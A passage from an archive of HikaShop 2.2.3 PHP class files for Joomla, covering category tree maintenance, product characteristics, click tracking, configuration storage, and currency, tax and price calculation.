>= b.category_left WHERE '.
			'b.category_right >= a.category_right '.$and.$where.'
GROUP BY b.category_id ORDER BY b.category_left';
			$this->database->setQuery($query);
			$results[$key] = $this->database->loadObjectList();
		}
		return $results[$key];
	}

	function getNamekey($element){
		return
$element->category_parent_id.'_'.preg_replace('#[^a-z0-9]#i','',$element->category_name).'_'.rand();
	}

	function rebuildTree($element,$depth,$left){
		$currentLeft = $left;
		$currentDepth = $depth;
		$pkey = end($this->pkeys);
		if(!empty($this->categories[$element->$pkey])){
			$depth++;
			foreach($this->categories[$element->$pkey] as $child){
				$left++;
				list($depth,$left) = $this->rebuildTree($child,$depth,$left);
			}
			$depth--;
		}
		$left++;
		if($currentLeft != $element->category_right || $currentLeft !=
$element->category_left || $currentDepth!=$element->category_depth){
			$query = 'UPDATE '.hikashop_table(end($this->tables)).
' SET category_left='.$currentLeft.',
category_right='.$left.',
category_depth='.$currentDepth.' WHERE '.$pkey.' =
'.$element->$pkey.' LIMIT 1';
			$this->database->setQuery($query);
			$this->database->query();
		}
		return array($depth,$left);
	}

	function &getProductsIn($category_id, &$products, $subcategories =
true) {
		$ret = array();
		if(empty($products))
			return $ret;

		$products_ids = array();
		foreach($products as $product) {
			if(isset($product->product_id))
				$products_ids[] = (int)$product->product_id;
			else
				$products_ids[] = (int)$product;
		}

		$db = JFactory::getDBO();
		if($subcategories) {
			$category = $this->get($category_id);
			if(empty($category))
				return $ret;

			$query = 'SELECT product.product_id '.
				' FROM '.hikashop_table('product').' AS
product '.
				' INNER JOIN
'.hikashop_table('product_category').' AS
product_category ON (product.product_id = product_category.product_id) OR
(product.product_parent_id = product_category.product_id) '.
				' INNER JOIN '.hikashop_table('category').' AS
category ON category.category_id = product_category.category_id '.
				' WHERE category.category_left >= ' .
(int)$category->category_left . ' AND category.category_right <=
' . (int)$category->category_right . ' AND product.product_id
IN ('.implode(',',$products_ids).')';
		} else {
			$query = 'SELECT product.product_id '.
				' FROM '.hikashop_table('product').' AS
product '.
				' INNER JOIN
'.hikashop_table('product_category').' AS
product_category ON (product.product_id = product_category.product_id) OR
(product.product_parent_id = product_category.product_id) '.
				' WHERE product_category.category_id = ' . (int)$category_id
. ' AND product.product_id IN
('.implode(',',$products_ids).')';
		}

		$db->setQuery($query);
		if(!HIKASHOP_J25)
			$category_products = $db->loadResultArray();
		else
			$category_products = $db->loadColumn();

		return $category_products;
	}

	public function &getList($type = 'product', $root = 0,
$getRoot = true) {
		$app = JFactory::getApplication();
		$db = JFactory::getDBO();

		$select = 'SELECT a.*';
		$table = ' FROM '.hikashop_table('category').'
AS a ';
		$where = array();
		if(!empty($type)) {
			if(is_array($type)) {
				if($getRoot && !in_array('root', $type))
					$type[] = 'root';
				$types = array();
				foreach($type as $t) {
					$types[] = $db->Quote($t);
				}
				$where[] = 'a.category_type IN
('.implode(',',$types).')';
			} else {
				if($getRoot) {
					$where[] = 'a.category_type IN
('.$db->Quote($type).',\'root\')';
				} else {
					$where[] = 'a.category_type = '.$db->Quote($type);
				}
			}
		}

		if((int)$root > 0) {
			$table .= ' INNER JOIN
'.hikashop_table('category').' AS b On b.category_id =
' . (int)$root . ' ';
			$where[] = 'a.category_left >= b.category_left AND
a.category_right <= b.category_right';
		}

		if(!empty($where)) {
			$where = ' WHERE (' . implode($where,') AND (').
')';
		} else {
			$where = '';
		}
		$db->setQuery($select . $table . $where . ' ORDER BY
a.category_left ASC');
		$elements = $db->loadObjectList();

		foreach($elements as &$element) {
			if(empty($element->value)){
				$val = str_replace(' ', '_',
strtoupper($element->category_name));
				$element->value = JText::_($val);
				if($val == $element->value) {
					$element->value = $element->category_name;
				}
			}
			$element->category_name = $element->value;

			if($element->category_namekey == 'root') {
				$element->category_parent_id = -1;
			}
			unset($element);
		}
		return $elements;
	}
}
characteristic.php000064400000013010151160302610010233 0ustar00<?php
/**
 * @package	HikaShop for Joomla!
 * @version	2.2.3
 * @author	hikashop.com
 * @copyright	(C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
class hikashopCharacteristicClass extends hikashopClass{

	var $tables =
array('characteristic','characteristic');
	var $pkeys =
array('characteristic_parent_id','characteristic_id');
	var $deleteToggle =
array('variant'=>array('variant_characteristic_id','variant_product_id'));
	function saveForm(){
		$element = new stdClass();
		$element->characteristic_id =
hikashop_getCID('characteristic_id');
		$formData = JRequest::getVar( 'data', array(), '',
'array' );
		$safeHtmlFilter = & JFilterInput::getInstance(null, null, 1, 1);
		foreach($formData['characteristic'] as $column => $value){
			hikashop_secureField($column);
			$element->$column = $safeHtmlFilter->clean($value,
'string');
		}

		$element->values = JRequest::getVar( 'characteristic',
array(), '', 'array' );
		JArrayHelper::toInteger($element->values);
		$element->values_ordering = JRequest::getVar(
'characteristic_ordering', array(), '',
'array' );
		JArrayHelper::toInteger($element->values);
		JArrayHelper::toInteger($element->values_ordering);

		$status = $this->save($element);

		if(!$status){
			JRequest::setVar( 'fail', $element  );
		}elseif(@$element->characteristic_parent_id==0){
			$this->updateValues($element,$status);
		}
		return $status;
	}

	function save(&$element){
		$class = hikashop_get('helper.translation');
		$class->getTranslations($element);
		$status = parent::save($element);
		if($status){
			$class->handleTranslations('characteristic',$status,$element);
		}
		return $status;
	}

	function updateValues(&$element,$status){
		$filter='';
		if(count($element->values)){
			$filter = ' AND characteristic_id NOT IN
('.implode(',',$element->values).')';
		}
		$query = 'DELETE FROM
'.hikashop_table('characteristic').' WHERE
characteristic_parent_id = '.$status.$filter;
		$this->database->setQuery($query);
		$this->database->query();

		if(count($element->values)){
			$query = 'UPDATE
'.hikashop_table('characteristic').' SET
characteristic_parent_id='.$status.' WHERE characteristic_id IN
('.implode(',',$element->values).') AND
characteristic_parent_id<1';
			$this->database->setQuery($query);
			$this->database->query();
		}
		if(count($element->values_ordering)){
			foreach($element->values_ordering as $key => $value){
				if(!$value) continue;
				$this->database->setQuery('UPDATE
'.hikashop_table('characteristic').' SET
characteristic_ordering='.(int)$value.' WHERE
characteristic_id='.(int)$element->values[$key]);
				$this->database->query();
			}
		}
	}

	function loadConversionTables(&$obj){
		$obj->characteristics = array();
		$obj->characteristicsConversionTable = array();
		$query = 'SELECT * FROM
'.hikashop_table('characteristic'). ' ORDER BY
characteristic_parent_id ASC, characteristic_ordering ASC';
		$this->database->setQuery($query);
		$obj->characteristics =
$this->database->loadObjectList('characteristic_id');
		$app = JFactory::getApplication();
		$translationHelper = hikashop_get('helper.translation');
		if(!$app->isAdmin() && $translationHelper->isMulti(true)
&& class_exists('JFalangDatabase')){
			$this->database->setQuery($query);
			$obj->characteristics =
array_merge($obj->characteristics,$this->database->loadObjectList('characteristic_id','stdClass',false));
		}elseif(!$app->isAdmin() &&
$translationHelper->isMulti(true) &&
(class_exists('JFDatabase')||class_exists('JDatabaseMySQLx'))){
			$this->database->setQuery($query);
			$obj->characteristics =
array_merge($obj->characteristics,$this->database->loadObjectList('characteristic_id',false));
		}
		if(!empty($obj->characteristics)){
			foreach($obj->characteristics as $characteristic){
				$key = '';
				$key_alias = '';
				if(!empty($characteristic->characteristic_parent_id) &&
!empty($obj->characteristics[$characteristic->characteristic_parent_id])){
					if(function_exists('mb_strtolower')){
						$key =
mb_strtolower(trim($obj->characteristics[$characteristic->characteristic_parent_id]->characteristic_value)).'_';
						$key_alias =
mb_strtolower(trim($obj->characteristics[$characteristic->characteristic_parent_id]->characteristic_alias)).'_';
					}else{
						$key =
strtolower(trim($obj->characteristics[$characteristic->characteristic_parent_id]->characteristic_value)).'_';
						$key_alias =
strtolower(trim($obj->characteristics[$characteristic->characteristic_parent_id]->characteristic_alias)).'_';
					}
				}
				if(function_exists('mb_strtolower')){
					$key2 =
mb_strtolower(trim($characteristic->characteristic_value,'"
'));
				}else{
					$key2 =
strtolower(trim($characteristic->characteristic_value,'"
'));
				}
				$key .= $key2;
				$key_alias .= $key2;
				if(!empty($characteristic->characteristic_alias)){
					if(function_exists('mb_strtolower')){
						$alias =
mb_strtolower(trim($characteristic->characteristic_alias,'"
'));
					}else{
						$alias =
strtolower(trim($characteristic->characteristic_alias,'"
'));
					}
					$obj->characteristicsConversionTable[$alias]=$characteristic->characteristic_id;
				}
				$obj->characteristicsConversionTable[$key_alias]=$characteristic->characteristic_id;
				$obj->characteristicsConversionTable[$key]=$characteristic->characteristic_id;
				$obj->characteristicsConversionTable[$key2]=$characteristic->characteristic_id;
			}
		}
	}
}
click.php000064400000002215151160302610006335 0ustar00<?php
/**
 * @package	HikaShop for Joomla!
 * @version	2.2.3
 * @author	hikashop.com
 * @copyright	(C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
class hikashopClickClass extends hikashopClass{
	var $tables = array('click');
	var $pkeys = array('click_id');

	function save(&$element){
		if(empty($element->click_id)){
			if(empty($element->click_created)){
				$element->click_created = time();
			}
			if(empty($element->click_ip)){
				$element->click_ip = hikashop_getIP();
			}
			if(empty($element->click_referer)){
				$element->click_referer=str_replace(array('"',
'<', '>', "'"), '',
@$_SERVER['HTTP_REFERER']);
			}
		}
		return parent::save($element);
	}

	function getLatest($partner_id,$ip,$click_min_delay){
		$query = 'SELECT click_id FROM
'.hikashop_table('click').' WHERE
click_partner_id='.(int)$partner_id.' AND
click_ip='.$this->database->Quote($ip).' AND click_created
> '.(time()-$click_min_delay);
		$this->database->setQuery($query);
		return $this->database->loadResult();
	}
}
config.php000064400000011566151160302610006526 0ustar00<?php
/**
 * @package	HikaShop for Joomla!
 * @version	2.2.3
 * @author	hikashop.com
 * @copyright	(C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
class hikashopConfigClass extends hikashopClass{
	var $toggle =
array('config_value'=>'config_namekey');
	function load(){
		$query = 'SELECT * FROM '.hikashop_table('config');
		$this->database->setQuery($query);
		$this->values =
$this->database->loadObjectList('config_namekey');
		if(!empty($this->values['default_params']->config_value)){
			$this->values['default_params']->config_value =
unserialize(base64_decode($this->values['default_params']->config_value));
		}
	}

	function set($namekey,$value=null){
		if(!isset($this->values[$namekey]) ||
!is_object($this->values[$namekey])) $this->values[$namekey] = new
stdClass();
		$this->values[$namekey]->config_value=$value;
		$this->values[$namekey]->config_namekey=$namekey;
		return true;
	}

	function get($namekey,$default = ''){
		if(empty($this->values)){
			$this->load();
		}

		if(isset($this->values[$namekey])){
			if(preg_match('#^(menu_|params_)[0-9]+$#',$namekey) &&
!empty($this->values[$namekey]->config_value) &&
is_string($this->values[$namekey]->config_value)){
				$this->values[$namekey]->config_value =
unserialize(base64_decode($this->values[$namekey]->config_value));
			}
			return $this->values[$namekey]->config_value;
		}
		return $default;
	}

	function save(&$configObject,$default=false){

		if(empty($this->values)){
			$this->load();
		}
		$previous_stars =
isset($this->values['vote_star_number']->config_value)?$this->values['vote_star_number']->config_value:5;
		$query = 'REPLACE INTO
'.hikashop_table('config').'
(config_namekey,config_value'.($default?',config_default':'').')
VALUES ';
		$params = array();
		if(is_object($configObject)){
			$configObject = get_object_vars($configObject);
		}
		jimport('joomla.filter.filterinput');
		$safeHtmlFilter = & JFilterInput::getInstance(null, null, 1, 1);
		foreach($configObject as $namekey => $value){
			if($namekey == 'configClassInit') continue;
			if($namekey == 'simplified_registration' &&
is_array($value)){
				$value = implode($value,',');
			}
			if($namekey=='default_params' ||
preg_match('#^(menu_|params_)[0-9]+$#',$namekey)){
				$value=base64_encode(serialize($value));
			}elseif($namekey=='main_currency'){
				if(!empty($this->values[$namekey]->config_value)){
					$currencyClass = hikashop_get('class.currency');
					$currencyClass->updateRatesWithNewMainCurrency($this->values[$namekey]->config_value,$value);
				}
			}
			if(!isset($this->values[$namekey]))$this->values[$namekey]= new
stdClass();
			$this->values[$namekey]->config_value = $value;
			if(!isset($this->values[$namekey]->config_default)){
				$this->values[$namekey]->config_default =
$this->values[$namekey]->config_value;
			}
			$cleaned_var = $safeHtmlFilter->clean($value, 'string');
			if($namekey=='order_number_format')$cleaned_var=str_replace('&quot;}"','"}',$cleaned_var);
			$params[] =
'('.$this->database->Quote(strip_tags($namekey)).','.$this->database->Quote($cleaned_var).($default?','.$this->database->Quote($this->values[$namekey]->config_default):'').')';
			$new_stars =
isset($this->values['vote_star_number']->config_value)?$this->values['vote_star_number']->config_value:5;
		}
		if($previous_stars != $new_stars){
			$this->update_average_rate($previous_stars, $new_stars);
		}
		$query .= implode(',',$params);
		$this->database->setQuery($query);
		return $this->database->query();
	}

	function reset(){
		$query = 'UPDATE '.hikashop_table('config').'
SET config_value = config_default';
		$this->database->setQuery($query);
		$this->database->query();
		$this->load();
	}

	function update_average_rate($previous_stars, $new_stars){
		$query=
		'SELECT product_id, product_average_score FROM
'.hikashop_table('product').' WHERE
product_average_score != 0';
		$this->database->setQuery($query);
		$scores = $this->database->loadObjectList();
		foreach($scores as $score){
			$average_score =($new_stars *
$score->product_average_score)/$previous_stars;
			$query=	'UPDATE '.hikashop_table('product').'
SET product_average_score = '.$average_score.' WHERE product_id =
'.(int)$score->product_id;
			$this->database->setQuery($query);
			$this->database->query();
		}
		$query=
		'SELECT vote_id, vote_rating FROM
'.hikashop_table('vote').' WHERE vote_rating !=
0';
		$this->database->setQuery($query);
		$scores = $this->database->loadObjectList();
		foreach($scores as $score){
			$vote =($new_stars * $score->vote_rating)/$previous_stars;
			$query=	'UPDATE '.hikashop_table('vote').' SET
vote_rating = '.$vote.' WHERE vote_id =
'.(int)$score->vote_id;
			$this->database->setQuery($query);
			$this->database->query();
		}
	}
}
currency.php000064400000235454151160302610007117 0ustar00<?php
/**
 * @package	HikaShop for Joomla!
 * @version	2.2.3
 * @author	hikashop.com
 * @copyright	(C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
class hikashopCurrencyClass extends hikashopClass{
	var $tables = array('currency');
	var $pkeys = array('currency_id');
	var $namekeys = array('');
	var $toggle =
array('currency_published'=>'currency_id','currency_displayed'=>'currency_id');
	var $taxRates = null;

	function _round($price,$round=2,$increment=0){
		$config =& hikashop_config();
		if($config->get('round_calculations',0)){
			if($increment){
				return $this->roundByIncrement($price, $increment);
			}
			return round($price,$round);
		}
		return $price;
	}

	function roundByIncrement($number, $increment) {
		$increment = 1 / $increment;
		return (round($number * $increment) / $increment);
	}

	function get($element,$default=''){
		if(is_numeric($element)){
			$data = parent::get($element);
		}else{
			$database	= JFactory::getDBO();
			$query = 'SELECT *';
			$query .= ' FROM '.hikashop_table('currency');
			$query .= ' WHERE currency_code =
'.$database->Quote($element);
			$database->setQuery($query);
			$data = $database->loadObject();
		}
		$this->checkLocale($data);
		return $data;
	}


	function getTaxedPrice($price,$zone_id,$tax_category_id,$round=2){
		$this->taxRates=array();
		$tax = (float)$this->getTax($zone_id,$tax_category_id);

		if(empty($tax)) return $price;
		$price=(float)$price;
		$taxedPrice=$this->_round($price+$price*$tax,$round);

		if(!empty($this->taxRates)){
			foreach($this->taxRates as $k => $rate){
				$this->taxRates[$k]->tax_amount =
$this->_round($price*floatval($rate->tax_rate),$round);
			}
		}
		return $taxedPrice;
	}

	function getUntaxedPrice($price,$zone_id,$tax_category_id,$round=2){
		$this->taxRates=array();
		$tax = (float)$this->getTax($zone_id,$tax_category_id);
		if(empty($tax)) return $price;
		$price=(float)$price;
		$untaxedPrice = $this->_round($price/(1.00000+$tax),$round);
		if(!empty($this->taxRates)){
			foreach($this->taxRates as $k => $rate){
				$this->taxRates[$k]->tax_amount =
$this->_round($price*floatval($rate->tax_rate)/(1.00000+floatval($rate->tax_rate)),$round);
			}
		}
		return $untaxedPrice;
	}

	function getTaxType(){
		static $taxType = '';
		if(empty($taxType)){
			$config =& hikashop_config();
			$type =
$config->get('default_type','individual');
			$app = JFactory::getApplication();
			$shipping_address=$app->getUserState(
HIKASHOP_COMPONENT.'.'.$config->get('tax_zone_type','shipping').'_address',0);
			if(!empty($shipping_address)){
				$addressClass = hikashop_get('class.address');
				$address = $addressClass->get($shipping_address);
				if(!empty($address->address_company)){
					$type = 'company_without_vat_number';
				}
				if(!empty($address->address_vat)){
					$vat = hikashop_get('helper.vat');
					if($vat->isValid($address)) $type =
'company_with_vat_number';
				}
			}
			$taxType=$type;
		}
		return $taxType;
	}

	function getTax($zone_id,$tax_category_id,$type=''){
		static $calculated = array();
		static $calculatedFullInfo = array();

		if(empty($tax_category_id)) return 0;

		if(empty($zone_id)){
			$zone_id=$this->mainTaxZone();
			if(empty($zone_id)){
				return 0;
			}
		}

		if(empty($type)){
			$type=$this->getTaxType();
		}

		$key = $zone_id.'_'.$tax_category_id.'_'.$type;
		if(!isset($calculated[$key])){
			$filter = '';
			switch($type){
				default:
					$filter = 'taxation_type =
'.$this->database->Quote($type);
				case '':
					$typeFilter = 'taxation_type = \'\'';
					if(!empty($filter)){
						$typeFilter = '( '.$typeFilter.' OR
'.$filter.' )';
					}
					break;
			}
			$filters = array('a.category_id =
'.(int)$tax_category_id,'b.taxation_published=1',$typeFilter);
			hikashop_addACLFilters($filters,'taxation_access','b');
			$query = 'SELECT b.*,c.* FROM
'.hikashop_table('category'). ' AS a LEFT JOIN
'.hikashop_table('taxation').' AS b ON
a.category_namekey=b.category_namekey LEFT JOIN
'.hikashop_table('tax').' AS c ON
b.tax_namekey=c.tax_namekey WHERE '.implode(' AND
',$filters);
			$this->database->setQuery($query);
			$taxPlans =
$this->database->loadObjectList('taxation_id');

			$query = 'SELECT * FROM
'.hikashop_table('zone').' WHERE zone_id =
'.(int)$zone_id;
			$this->database->setQuery($query);
			$zone = $this->database->loadObject();

			$quotedTaxNamekeys = array();
			$this->taxRates = array();
			$tax = 0;
			if(!empty($taxPlans) && !empty($zone)){
				$matches = array();
				$already = array($zone->zone_id=>$zone);
				foreach($taxPlans as $taxPlan){
					$quotedTaxNamekeys[]=$this->database->Quote($taxPlan->zone_namekey);
					if($taxPlan->zone_namekey==$zone->zone_namekey &&
$this->_matchPostCode($taxPlan)){
						$taxPlan->zone_type = $zone->zone_type;
						$matches[$taxPlan->taxation_id]=$taxPlan;
					}
				}

				if(count($matches)==0){

					$childs =
array($this->database->Quote($zone->zone_namekey));
					$this->_getParents($childs,$matches,$already,$quotedTaxNamekeys,$taxPlans);
				}

				if(count($matches)!=0){
					$type = 'state';
					$types=array('country','tax');
					$found=false;
					while(!$found){
						foreach($matches as $match){
							if($match->zone_type==$type){
								$tax += floatval(@$match->tax_rate);
								$this->taxRates[]=$match;
								if(empty($match->taxation_cumulative)){
									$found = true;
									break;
								}
							}
						}
						if(!$found){
							if(empty($types)){
								$found = true;
								break;
							}
							$type = array_shift($types);
						}
					}

				}else{
					foreach($taxPlans as $taxPlan){
						if(empty($taxPlan->zone_namekey)){
							if($taxPlan->taxation_cumulative){
								$this->taxRates[]=$taxPlan;
								$tax += floatval(@$taxPlan->tax_rate);
							}else{
								$this->taxRates=array($taxPlan);
								$tax = floatval(@$taxPlan->tax_rate);
							}
						}
					}
				}
			}
			$calculated[$key]=$tax;
			$calculatedFullInfo[$key]=array();
			foreach($this->taxRates as $k => $taxRate){
				$calculatedFullInfo[$key][$k]=clone($taxRate);
			}
		}else{
			$this->taxRates=array();
			foreach($calculatedFullInfo[$key] as $k => $taxRate){
				$this->taxRates[$k]=clone($taxRate);
			}
		}
		return $calculated[$key];
	}

	function _matchPostCode(&$taxPlan){
		if(!empty($taxPlan->taxation_post_code)){
			$app = JFactory::getApplication();
			$config =& hikashop_config();
			$type =
$config->get('tax_zone_type','shipping');
			$shipping_address = $app->getUserState(
HIKASHOP_COMPONENT.'.'.$type.'_address',0);
			if(empty($shipping_address) && $type == 'shipping'){
				$shipping_address = $app->getUserState(
HIKASHOP_COMPONENT.'.'.'billing_address',0);
			}
			if($shipping_address){
				static $addresses = array();
				if(!isset($addresses[$shipping_address])){
					$addressClass = hikashop_get('class.address');
					$addresses[$shipping_address] =
$addressClass->get($shipping_address);
				}
				if(!empty($addresses[$shipping_address]->address_post_code)){
					if(!preg_match('#'.preg_replace('#[^a-z0-9
\-\*\[\]\?\{\}]#','',$taxPlan->taxation_post_code).'#i',$addresses[$shipping_address]->address_post_code)){
						return false;
					}
				}else{
					return false;
				}
			}else{
				return false;
			}
		}
		return true;
	}

	function mainTaxZone(){
		static $main_tax_zone = 0;
		if(!$main_tax_zone){
			$config =& hikashop_config();
			$main_tax_zone =
explode(',',$config->get('main_tax_zone',''));
			if(count($main_tax_zone)){
				$main_tax_zone = array_shift($main_tax_zone);
			}
		}
		return $main_tax_zone;
	}

	function getTaxCategory(){
		static $found = null;
		if(!isset($found)){
			$this->database->setQuery('SELECT category_id FROM
'.hikashop_table('category').' WHERE
category_type=\'tax\' AND category_published=1 AND
category_namekey!=\'tax\' ORDER BY category_id ASC');
			$found = (int) $this->database->loadResult();
		}
		return $found;
	}

	function
displayPrices($prices,$value_field='price_value',$currency_id_field='price_currency_id'){
		$html = '';
		if(!empty($prices)){
			$start=true;

			foreach($prices as $price){
				if((int)@$price->price_min_quantity>1)continue;
				if($start) $start=false;
				else $html.= ' / ';
				$html.=
$this->format($price->$value_field,$price->$currency_id_field);
			}
		}
		return $html;
	}

	function
_getParents(&$childs,&$matches,&$already,&$quotedTaxNamekeys,&$taxPlans){
		$namekeys = array();
		foreach($already as $zone){
			$namekeys[]=$this->database->Quote($zone->zone_namekey);
		}
		$query = 'SELECT b.* FROM
'.hikashop_table('zone_link').' AS a LEFT JOIN
'.hikashop_table('zone').' AS b ON
a.zone_parent_namekey=b.zone_namekey WHERE a.zone_child_namekey IN
('.implode(',',$childs).') AND a.zone_parent_namekey
NOT IN ('.implode(',',$namekeys).') AND (b.zone_type
IN(\'state\',\'country\') OR (
b.zone_type=\'tax\' AND b.zone_namekey IN
('.implode(',',$quotedTaxNamekeys).') ))';
		$this->database->setQuery($query);
		$parents = $this->database->loadObjectList('zone_id');
		$childs = array();
		$already = array_merge($already,$parents);
		foreach($parents as $parent){
			$found = false;
			foreach($taxPlans as $taxPlan){
				if($parent->zone_namekey==$taxPlan->zone_namekey){
					if(!isset($matches[$taxPlan->taxation_id]) &&
$this->_matchPostCode($taxPlan)){
						$taxPlan->zone_type = $parent->zone_type;
						$matches[$taxPlan->taxation_id]=$taxPlan;
					}
					$found = true;
				}
			}
			if(!$found){
				$childs[]=$this->database->Quote($parent->zone_namekey);
			}
		}
		if(!empty($childs)){
			$this->_getParents($childs,$matches,$already,$quotedTaxNamekeys,$taxPlans);
		}
	}



	function saveForm(){
		$currency = new stdClass();
		$currency->currency_id = hikashop_getCID('currency_id');
		$formData = JRequest::getVar( 'data', array(), '',
'array' );
		foreach($formData['currency'] as $column => $value){
			hikashop_secureField($column);
			if($column=='currency_symbol'){
				jimport('joomla.filter.filterinput');
				$safeHtmlFilter = & JFilterInput::getInstance(null, null, 1, 1);
				$currency->$column = $safeHtmlFilter->clean($value,
'string');
			}elseif($column=='currency_locale'){
				$tmp = array();

				foreach($value as $key => $val){
					$key = hikashop_secureField($key);
					if($key=='mon_grouping'){
						$tmp[$key] = preg_replace('#[^0-9,]#','',$val);
					}elseif(!in_array($key,array('mon_thousands_sep','mon_decimal_point','negative_sign','positive_sign'))){
						$tmp[$key] = intval($val);
					}else{
						$tmp[$key] = (!empty($val)? $val[0]:'');
					}
				}
				$currency->$column = serialize($tmp);
			}elseif(in_array($column,array('currency_rate','currency_flat_fee','currency_percent_fee'))){
				$currency->$column = hikashop_toFloat($value);
			}else{
				$currency->$column = strip_tags($value);
			}
		}

		$status = $this->save($currency);

		if(!$status){
			$currency=new stdClass();
			foreach($formData['currency'] as $column => $value){
				$currency->$column = $value;
			}
			JRequest::setVar( 'fail', $currency  );
		}

		return $status;
	}

	function getNamekey($element){
		return false;
	}

	function mainCurrency(){
		$config =& hikashop_config();
		return $config->get('main_currency',1);
	}

	function publishedCurrencies(){
		static $list = null;
		if(!isset($list)){
			$config =& hikashop_config();
			$query ='SELECT currency_id FROM
'.hikashop_table('currency').' WHERE
currency_published=1 OR currency_id = '.(int)
$config->get('main_currency',1);
			$this->database->setQuery($query);
			if(!HIKASHOP_J25){
				$list = $this->database->loadResultArray();
			} else {
				$list = $this->database->loadColumn();
			}
		}
		return $list;
	}

	function
getListingPrices(&$rows,$zone_id,$currency_id,$price_display_type='all',$user_id=0){
		$ids = array();
		foreach($rows as $key => $row){
			$ids[]=$row->product_id;
		}

		if(!count($ids)) return true;

		$filters=array(
			'discount_type=\'discount\'',
			'discount_published=1',
			'( discount_quota>discount_used_times OR discount_quota=0
)',
			'discount_start < '.time(),
			'( discount_end > '.time().' OR discount_end = 0
)',
			'( discount_product_id IN
('.implode(',',$ids).') OR discount_product_id=0
)',
			'( discount_flat_amount!=0 OR discount_percent_amount!=0 )'
		);
		$app = JFactory::getApplication();
		if(!$app->isAdmin() || (int)$user_id > 0){
			hikashop_addACLFilters($filters,'discount_access',
'', 2, false, (int)$user_id);
		}
		$query = 'SELECT * FROM
'.hikashop_table('discount').' WHERE
'.implode(' AND ',$filters);
		$this->database->setQuery($query);
		$discounts = $this->database->loadObjectList();


		$filters=array('a.price_product_id IN
('.implode(',',$ids).')','a.price_currency_id
IN
('.implode(',',$this->publishedCurrencies()).')');
		if(!$app->isAdmin() || (int)$user_id > 0){
			hikashop_addACLFilters($filters,'price_access','a',
'', 2, false, (int)$user_id);
		}
		$query = 'SELECT a.* FROM
'.hikashop_table('price').' AS a WHERE
'.implode(' AND ',$filters). ' ORDER BY a.price_value
DESC';
		$this->database->setQuery($query);
		$prices = $this->database->loadObjectList();
		$variantSearch = array();

		$config =& hikashop_config();
		$main_currency = (int)$config->get('main_currency',1);
		$discount_before_tax =
(int)$config->get('discount_before_tax',0);
		foreach($rows as $k => $element){
			$pricefound = false;
			if(!empty($prices)){
				$currentRowPrices = array();
				$matches=array();
				foreach($prices as $price){
					if($price->price_product_id==$element->product_id){
						if($price->price_currency_id==$currency_id){
							$matches[$price->price_min_quantity]=$price;
						}
						$currentRowPrices[]=$price;
					}
				}
				if(empty($matches)&&!empty($currentRowPrices)){
					foreach($currentRowPrices as $price){
						if($price->price_currency_id==$main_currency){
							$matches[$price->price_min_quantity]=$price;
						}
					}
					if(empty($matches)){
						$match = array_pop($currentRowPrices);
						if(!empty($currentRowPrices)){
							foreach($currentRowPrices as $price){
								if($price->price_currency_id==$match->price_currency_id){
									$matches[$price->price_min_quantity]=$price;
								}
							}
						}
						$matches[]=$match;
					}
				}
				if(!empty($matches)){
					switch($price_display_type){
						default:
						case 'all':
							foreach($matches as $j => $match){
								$matches[$j]->price_value_with_tax =
$this->getTaxedPrice($match->price_value,$zone_id,$element->product_tax_id);
								$matches[$j]->taxes = $this->taxRates;
							}
							$rows[$k]->prices = $matches;
							break;
						case 'cheapest':
							$min=0;
							$minVal=0;

							foreach($matches as $match){
								if($match->price_value<$minVal || $minVal==0){
									$min = $match;
									$minVal = $match->price_value;
								}
							}

							$pricefound=true;
							$min->price_value_with_tax =
$this->getTaxedPrice($min->price_value,$zone_id,$element->product_tax_id);
							$min->taxes = $this->taxRates;
							$rows[$k]->prices = array($min);
							break;
						case 'unit':

							if(isset($matches[0])){
								$pricefound=true;
								$matches[0]->price_value_with_tax =
$this->getTaxedPrice($matches[0]->price_value,$zone_id,$element->product_tax_id);
								$matches[0]->taxes = $this->taxRates;
								$rows[$k]->prices = array($matches[0]);
							}else{
								$rows[$k]->prices = array(reset($matches));
							}
							break;
						case 'range':
							$min=0;
							$minVal=0;
							$max=0;
							$maxVal=0;
							foreach($matches as $match){
								if($match->price_value>$maxVal || $maxVal==0){
									$max = $match;
									$maxVal = $match->price_value;
								}
								if($match->price_value<$minVal || $minVal==0){
									$min = $match;
									$minVal = $match->price_value;
								}
							}
							$min->price_value_with_tax =
$this->getTaxedPrice($min->price_value,$zone_id,$element->product_tax_id);
							$min->taxes = $this->taxRates;
							$max->price_value_with_tax =
$this->getTaxedPrice($max->price_value,$zone_id,$element->product_tax_id);
							$max->taxes = $this->taxRates;
							$pricefound=true;
							if($min->price_value_with_tax==$max->price_value_with_tax){
								$rows[$k]->prices = array($min);
							}else{
								$rows[$k]->prices = array($min,$max);
							}
							break;
					}

				}
			}
			if(!$pricefound){
				$variantSearch[]=$element->product_id;
			}
		}

		if(!empty($variantSearch)){
			$filters=array('a.product_parent_id IN
('.implode(',',$variantSearch).')','a.product_published=1','b.price_currency_id
IN
('.implode(',',$this->publishedCurrencies()).')');
			if(!$app->isAdmin() || (int)$user_id > 0){
				hikashop_addACLFilters($filters,'price_access','b',
'', 2, false, (int)$user_id);
			}
			$query = 'SELECT a.*,b.* FROM
'.hikashop_table('product').' AS a LEFT JOIN
'.hikashop_table('price').' AS b ON
a.product_id=b.price_product_id WHERE '.implode(' AND
',$filters);
			$this->database->setQuery($query);
			$prices = $this->database->loadObjectList();

			if(!empty($prices)){
				$unset=array();
				foreach($prices as $k => $price){
					if(empty($price->price_id)){
						$unset[]=$k;
					}
				}
				if(!empty($unset)){
					foreach($unset as $u){
						unset($prices[$u]);
					}
				}
			}
			if(!empty($prices)){
				foreach($rows as $k => $element){
					if(!empty($element->prices))continue;
					$currentRowPrices = array();
					$matches=array();
					foreach($prices as $price){
						if($price->product_parent_id==$element->product_id){
							if($price->price_currency_id==$currency_id){
								$matches[]=$price;
							}
							$currentRowPrices[]=$price;
						}
					}
					if(empty($matches)&&!empty($currentRowPrices)){
